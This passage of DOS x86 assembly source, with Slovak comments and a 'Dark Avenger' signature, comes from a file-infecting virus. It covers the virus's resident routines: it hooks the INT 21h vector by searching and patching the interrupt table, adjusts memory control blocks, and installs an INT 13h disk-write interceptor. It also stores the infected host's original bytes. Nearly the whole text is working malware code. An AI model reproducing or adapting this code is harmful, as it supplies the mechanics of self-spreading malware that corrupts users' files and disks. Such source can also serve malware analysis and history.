nemen_T&D:	retn
append_virus	endp
;---------------------------------------------------------------------
;			       SUBROUTINE
;---------------------------------------------------------------------
set_PSP_0	proc	near
		push	ds			;Backup DS
		call	set_DSonPSPact
		mov	byte ptr ds:MCB_typ,'M'
		pop	ds			;Restore DS
test_redef_21:	push	ds
		push	ax
		push	bx
		push	dx
		xor	bx,bx			;DS=0
		mov	ds,bx
		lds	dx,dword ptr ds:interrupt_21
		cmp	dx,new_21-run_vir	;Test offset int 21h
		jne	redefine
		mov	ax,ds
		mov	bx,cs
		cmp	ax,bx			;Test segment int 21h
		je	not_redef
		xor	bx,bx			;BX = 0
redefine:	mov	ax,[bx]
		cmp	ax,new_21-run_vir
		jne	loc_10
		mov	ax,cs
		cmp	ax,[bx+2]
		je	loc_11
loc_10:		inc	bx
		jnz	redefine
		jz	loc_12
loc_11:		mov	ax,cs:[old_21]
		mov	[bx],ax
		mov	ax,cs:[old_21+2]
		mov	[bx+2],ax
		mov	cs:[old_21],dx
		mov	cs:[old_21+2],ds
		xor	bx,bx			;BX = 0
loc_12:		mov	ds,bx
		mov	word ptr ds:interrupt_21,new_21-run_vir
		mov	word ptr ds:interrupt_21+2,cs
not_redef:	pop	dx
		pop	bx
		pop	ax
		pop	ds
		retn
set_PSP_0	endp
;--------------------------------------------------------------------
;	Nastavenie DS na PSP programu ktory je v RAM podo mnou ???
;--------------------------------------------------------------------
set_DSonPSPact	proc	near
		push	ax			;Push AX,BX
		push	bx
		mov	ah,62h			;Get PSP  BX = Seg adr of PSP
		call	call_old_21
		mov	ax,cs
		dec	ax			;AX = CS-1
		dec	bx			;Dec seg adr PSP
hladaj_dalej:	mov	ds,bx
		stc
		adc	bx,ds:PSP_top_ram+1	;Pripocitaj HI byte top of avail mem
		cmp	bx,ax			;Je to nas segment ?
		jb	hladaj_dalej		;Ak je stale mensi hladaj
		pop	bx			;Pop BX,AX
		pop	ax
		retn
set_DSonPSPact	endp
;-----------------------------------------------------------------------
; Prepocet velkosti Header EXE v paragrafoch na byte. DX:AX = 16*HdrSize
;-----------------------------------------------------------------------
Header_EXE_Size	proc	near
		mov	ax,word ptr ds:[EXE_Hdr_Size]	;Size header EXE in paragr.
;-----------------------------------------------------------------------
;	Konverzia seg adresy v AX na byte	DX:AX = 16*AX
;-----------------------------------------------------------------------
Paragr2_addr:	mov	dx,16
		mul	dx			;dx:ax = 10h * ax
		retn
Header_EXE_Size	endp
		db	'This program was written in the city of Sofia '
		db	'(C) 1988-89 Dark Avenger',0
; ---------------------------------------------------------------------
;			Novy Disk I/O interrupt
; ---------------------------------------------------------------------
new_13:		cmp	ah,3
		jne	no_write_sect
		cmp	dl,80h
		jae	viac_rovno
		db	0EAh			;jmp	far ptr old_40
old_40		dw	0EC59h, 0F000h
viac_rovno:	db	0EAh			;jmp	far ptr old_13
old_13		dw	1DADh, 0070h
no_write_sect:	db	0EAh			;jmp	far ptr doc_old_13
doc_old_13	dw	1DADh, 0070h
start_programm	dw	100h, 1726h
stack_programm	dw	0, 21CDh
original_bytes	db	90h, 90h, 90h		;Povodne 3 byte NOP,NOP,NOP
virus_dav	ends
		end	start
----------------------------------------------------------------------------